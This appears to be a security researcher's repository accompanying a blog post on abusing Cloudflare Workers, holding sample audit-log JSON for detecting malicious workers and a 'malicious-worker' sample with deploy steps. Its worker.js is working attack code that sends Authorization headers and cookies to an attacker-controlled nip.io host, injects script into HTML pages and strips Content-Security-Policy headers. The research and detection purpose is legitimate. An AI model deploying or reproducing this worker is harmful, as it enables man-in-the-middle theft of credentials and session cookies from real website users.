├── README.md ├── audit-logs ├── README.md ├── others │ ├── api_key_created.json │ ├── api_key_view.json │ ├── login.json │ ├── token_create.json │ └── token_roll.json └── workers │ ├── rec_add.json │ ├── route_create.json │ └── script_create.json └── malicious-worker ├── README.md ├── worker.js └── wrangler.toml /README.md: -------------------------------------------------------------------------------- 1 | # Abusing Cloudflare Workers 2 | 3 | This repository contains companion code for the blog post **[MITM at the Edge: Abusing Cloudflare Workers](https://blog.christophetd.fr/abusing-cloudflare-workers/)**. 4 | 5 | - [malicious-worker/](./malicious-worker/) contains sample code of a malicious Cloudflare Worker that can be used to exfiltrate data transparently on every request 6 | 7 | - [audit-logs/](./audit-logs/) contains sample Cloudflare control plane audit logs that enables to detect the creation of new workers and associations to routes or DNS entries. -------------------------------------------------------------------------------- /audit-logs/README.md: -------------------------------------------------------------------------------- 1 | # Sample Cloudflare audit logs 2 | 3 | This folder contains sample events from Cloudflare control plane audit logs. 4 | 5 | ## Events related to Workers 6 | 7 | | **Event** | **Event code** | 8 | |:-----------------------------:|:--------------:| 9 | | A new Worker was created | [script_create](./workers/script_create.json) | 10 | | A Worker was bound to a route | [route_create](./workers/route_create.json) | 11 | | A DNS record was created | [rec_add](./workers/rec_add.json) | 12 | 13 | ## Other events 14 | 15 | | **Event** | **Event code** | 16 | |:-----------------------------------------------------:|:--------------:| 17 | | Successful authentication to the Cloudflare dashboard | [login](./others/login.json) | 18 | | The account-wide API token was viewed | [API_key_view](./others/API_key_view.json) | 19 | | An user API token was created (and viewed) | [token_create](./others/token_create.json) | 20 | | An user API token was rotated (and viewed) | [token_roll](./others/token_roll.json) | -------------------------------------------------------------------------------- /audit-logs/others/api_key_created.json: -------------------------------------------------------------------------------- 1 | { 2 | "action": { 3 | "result": true, 4 | "type": "API_key_created" 5 | }, 6 | "actor": { 7 | "email": "user@domain.tld", 8 | "id": "46915413f73c5f07ddbdab094dae5ebe", 9 | "ip": "178.39.178.39", 10 | "type": "user" 11 | }, 12 | "id": "c694bd8f-0c9d-5097-be96-359fc24b4717", 13 | "interface": "", 14 | "metadata": {}, 15 | "newValue": "", 16 | "oldValue": "", 17 | "owner": { 18 | "id": "5f79d6751a81f7afe15900a6adfc063b" 19 | }, 20 | "resource": { 21 | "id": "1aadb749c66cdd13c6445bee6e9c3ee0ff1ea1e152ca435f6d1f898683de5964", 22 | "type": "api_key" 23 | }, 24 | "when": "2022-06-27T22:28:11Z" 25 | } -------------------------------------------------------------------------------- /audit-logs/others/api_key_view.json: -------------------------------------------------------------------------------- 1 | { 2 | "action": { 3 | "result": true, 4 | "type": "API_key_view" 5 | }, 6 | "actor": { 7 | "email": "user@domain.tld", 8 | "id": "46915413f73c5f07ddbdab094dae5ebe", 9 | "ip": "178.39.178.39", 10 | "type": "user" 11 | }, 12 | "id": "6dfd4440-f28c-49b8-b7a6-7b4dc7d2a049", 13 | "interface": "", 14 | "metadata": {}, 15 | "newValue": "", 16 | "oldValue": "", 17 | "owner": { 18 | "id": "46915413f73c5f07ddbdab094dae5ebe" 19 | }, 20 | "resource": { 21 | "id": "46915413f73c5f07ddbdab094dae5ebe", 22 | "type": "user" 23 | }, 24 | "when": "2022-06-27T22:28:30Z" 25 | } -------------------------------------------------------------------------------- /audit-logs/others/login.json: -------------------------------------------------------------------------------- 1 | { 2 | "action": { 3 | "result": true, 4 | "type": "login" 5 | }, 6 | "actor": { 7 | "email": "user@domain.tld", 8 | "id": "46915413f73c5f07ddbdab094dae5ebe", 9 | "ip": "178.39.178.39", 10 | "type": "user" 11 | }, 12 | "id": "0af90cdc-fc1b-5388-801e-7b844860296a", 13 | "interface": "", 14 | "metadata": {}, 15 | "newValue": "", 16 | "oldValue": "", 17 | "owner": { 18 | "id": "46915413f73c5f07ddbdab094dae5ebe" 19 | }, 20 | "resource": { 21 | "id": "46915413f73c5f07ddbdab094dae5ebe", 22 | "type": "account" 23 | }, 24 | "when": "2022-06-27T22:43:23Z" 25 | } -------------------------------------------------------------------------------- /audit-logs/others/token_create.json: -------------------------------------------------------------------------------- 1 | { 2 | "action": { 3 | "result": true, 4 | "type": "token_create" 5 | }, 6 | "actor": { 7 | "email": "user@domain.tld", 8 | "id": "46915413f73c5f07ddbdab094dae5ebe", 9 | "ip": "178.39.178.39", 10 | "type": "user" 11 | }, 12 | "id": "e69d7dd1-a62f-4a9b-b437-4c87d30751e4", 13 | "interface": "", 14 | "metadata": { 15 | "token_name": "my-token", 16 | "token_tag": "f5f867b308c80eab754bc220e265b6a4" 17 | }, 18 | "newValue": "", 19 | "oldValue": "", 20 | "owner": { 21 | "id": "46915413f73c5f07ddbdab094dae5ebe" 22 | }, 23 | "resource": { 24 | "id": "46915413f73c5f07ddbdab094dae5ebe", 25 | "type": "account" 26 | }, 27 | "when": "2022-06-27T22:23:32Z" 28 | } -------------------------------------------------------------------------------- /audit-logs/others/token_roll.json: -------------------------------------------------------------------------------- 1 | { 2 | "action": { 3 | "result": true, 4 | "type": "token_roll" 5 | }, 6 | "actor": { 7 | "email": "user@domain.tld", 8 | "id": "46915413f73c5f07ddbdab094dae5ebe", 9 | "ip": "178.39.178.39", 10 | "type": "user" 11 | }, 12 | "id": "53168826-4687-453d-a5a4-4283d6460938", 13 | "interface": "", 14 | "metadata": { 15 | "new_token_hash": "8d735676fe0bde3d46ede61e93934d65888fb56026a7b845540e9922dfc0d2e8", 16 | "old_token_hash": "8ffd9fc181f2858387422c4f93c4854c8486d4feba1b3088737b4cb137516175", 17 | "token_name": "my-token", 18 | "token_tag": "f5f867b308c80eab754bc220e265b6a4" 19 | }, 20 | "newValue": "", 21 | "oldValue": "", 22 | "owner": { 23 | "id": "46915413f73c5f07ddbdab094dae5ebe" 24 | }, 25 | "resource": { 26 | "id": "46915413f73c5f07ddbdab094dae5ebe", 27 | "type": "account" 28 | }, 29 | "when": "2022-06-28T22:28:48Z" 30 | } -------------------------------------------------------------------------------- /audit-logs/workers/rec_add.json: -------------------------------------------------------------------------------- 1 | { 2 | "action": { 3 | "result": true, 4 | "type": "rec_add" 5 | }, 6 | "actor": { 7 | "id": "1", 8 | "type": "system" 9 | }, 10 | "id": "7ea35431-f07f-469c-9083-3a1bd2e21b3d", 11 | "interface": "API", 12 | "metadata": { 13 | "zone_name": "somewhereinthe.cloud" 14 | }, 15 | "newValue": "", 16 | "newValueJson": { 17 | "content": "100::", 18 | "id": "a8cac933cb71837d8c9d3042c9fe715b", 19 | "name": "somewhereinthe.cloud", 20 | "proxied": true, 21 | "ttl": 1, 22 | "type": "AAAA", 23 | "zone_name": "somewhereinthe.cloud" 24 | }, 25 | "oldValue": "", 26 | "owner": { 27 | "id": "5f79d6751a81f7afe15900a6adfc063b" 28 | }, 29 | "resource": { 30 | "id": "13636593034", 31 | "type": "DNS_record" 32 | }, 33 | "when": "2022-06-27T22:42:51.989032Z" 34 | } -------------------------------------------------------------------------------- /audit-logs/workers/route_create.json: -------------------------------------------------------------------------------- 1 | { 2 | "action": { 3 | "info": "Created route '*somewhereinthe.cloud/*' with script my-malicious-worker", 4 | "result": true, 5 | "type": "route_create" 6 | }, 7 | "actor": { 8 | "email": "user@domain.tld", 9 | "id": "43232371", 10 | "ip": "178.39.178.39", 11 | "type": "user" 12 | }, 13 | "id": "39773e66-5f2a-48e1-8891-b009b3930500", 14 | "interface": "", 15 | "metadata": { 16 | "pattern": "somewhereinthe.cloud/welcome", 17 | "script_name": "my-malicious-worker" 18 | }, 19 | "newValue": "", 20 | "oldValue": "", 21 | "owner": { 22 | "id": "5f79d6751a81f7afe15900a6adfc063b" 23 | }, 24 | "resource": { 25 | "id": "e0b80dd5e5e04ad1b5c3a59bd287f679", 26 | "type": "route" 27 | }, 28 | "when": "2022-06-27T22:43:42.467248Z" 29 | } -------------------------------------------------------------------------------- /audit-logs/workers/script_create.json: -------------------------------------------------------------------------------- 1 | { 2 | "action": { 3 | "info": "Created script my-malicious-worker", 4 | "result": true, 5 | "type": "script_create" 6 | }, 7 | "actor": { 8 | "email": "user@domain.tld", 9 | "id": "43232371", 10 | "ip": "178.39.178.39", 11 | "type": "user" 12 | }, 13 | "id": "92ed67fc-0cac-42c8-a5ff-e498c5e5341f", 14 | "interface": "", 15 | "metadata": { 16 | "script_tag": "ca56116bc64c4d57995e73725c8b3ea0", 17 | "version_tag": "3b40a02f5d114c04a7cc19d6d685a6c5" 18 | }, 19 | "newValue": "", 20 | "oldValue": "", 21 | "owner": { 22 | "id": "5f79d6751a81f7afe15900a6adfc063b" 23 | }, 24 | "resource": { 25 | "id": "my-malicious-worker", 26 | "type": "script" 27 | }, 28 | "when": "2022-06-27T22:25:05.437873Z" 29 | } -------------------------------------------------------------------------------- /malicious-worker/README.md: -------------------------------------------------------------------------------- 1 | # Sample malicious Cloudflare Worker 2 | 3 | This sample Worker will: 4 | 5 | * Exfiltrate any `Authorization` and `Cookie` headers to a remote, attacker-controlled server 6 | * Inject a malicious JavaScript script in all HTML responses 7 | 8 | ## Deploying 9 | 10 | Using the [Wrangler CLI](https://developers.cloudflare.com/workers/wrangler/get-started/): 11 | 12 | ```bash 13 | wrangler publish worker.js 14 | ``` -------------------------------------------------------------------------------- /malicious-worker/worker.js: -------------------------------------------------------------------------------- 1 | addEventListener('fetch', event => { 2 | event.respondWith(handleRequest(event, event.request)); 3 | }); 4 | 5 | // Main request handler 6 | async function handleRequest(event, request) { 7 | await stealAuthorizationHeader(request); 8 | 9 | response = await fetch(request); 10 | 11 | modifiedResponse = await injectMaliciousScript(response); 12 | await stealCookies(request, response); 13 | 14 | return modifiedResponse; 15 | } 16 | 17 | // Utility function to exfiltrate data to an attacker-controlled server 18 | async function log(data) { 19 | // Note: don't use a hardcoded IP, Cloudflare blocks direct IP access for outbound connections 20 | await fetch("http://46.101.191.103.nip.io/log/" + btoa(data)); 21 | } 22 | 23 | // Exfiltrates Authorization headers 24 | async function stealAuthorizationHeader(request) { 25 | const authz = request.headers.get("Authorization") 26 | if (authz) { 27 | await log(`authorization header: ${authz}`) 28 | } 29 | } 30 | 31 | // Exfiltrates cookies 32 | async function stealCookies(request, response) { 33 | cookies = response.headers.get("Set-Cookie") 34 | if (cookies) { 35 | await log(`cookies sent by server: ${cookies}`); 36 | } 37 | 38 | cookies = request.headers.get("Cookie") 39 | if (cookies) { 40 | await log(`cookies sent by client: ${cookies}`); 41 | } 42 | } 43 | 44 | // Injects a malicious Javascript script in HTML responses 45 | async function injectMaliciousScript(originalResponse) { 46 | // Only inject our script in HTML responses 47 | if (!originalResponse.headers.get("Content-Type").includes("html")) { 48 | return originalResponse; 49 | } 50 | 51 | originalHtml = await originalResponse.text(); 52 | 53 | // Malicious script to inject 54 | const script = ` 55 | 56 | 66 | ` 67 | modifiedHtml = originalHtml.replace("", script + "") 68 | modifiedResponse = new Response(modifiedHtml, originalResponse) 69 | 70 | // Get rid of any annoying content security policy that would block our script 71 | if (modifiedResponse.headers.get("Content-Security-Policy")) { 72 | modifiedResponse.headers.delete("Content-Security-Policy") 73 | } 74 | 75 | return modifiedResponse 76 | } -------------------------------------------------------------------------------- /malicious-worker/wrangler.toml: -------------------------------------------------------------------------------- 1 | name = "my-malicious-worker" 2 | compatibility_date = "2022-06-24" --------------------------------------------------------------------------------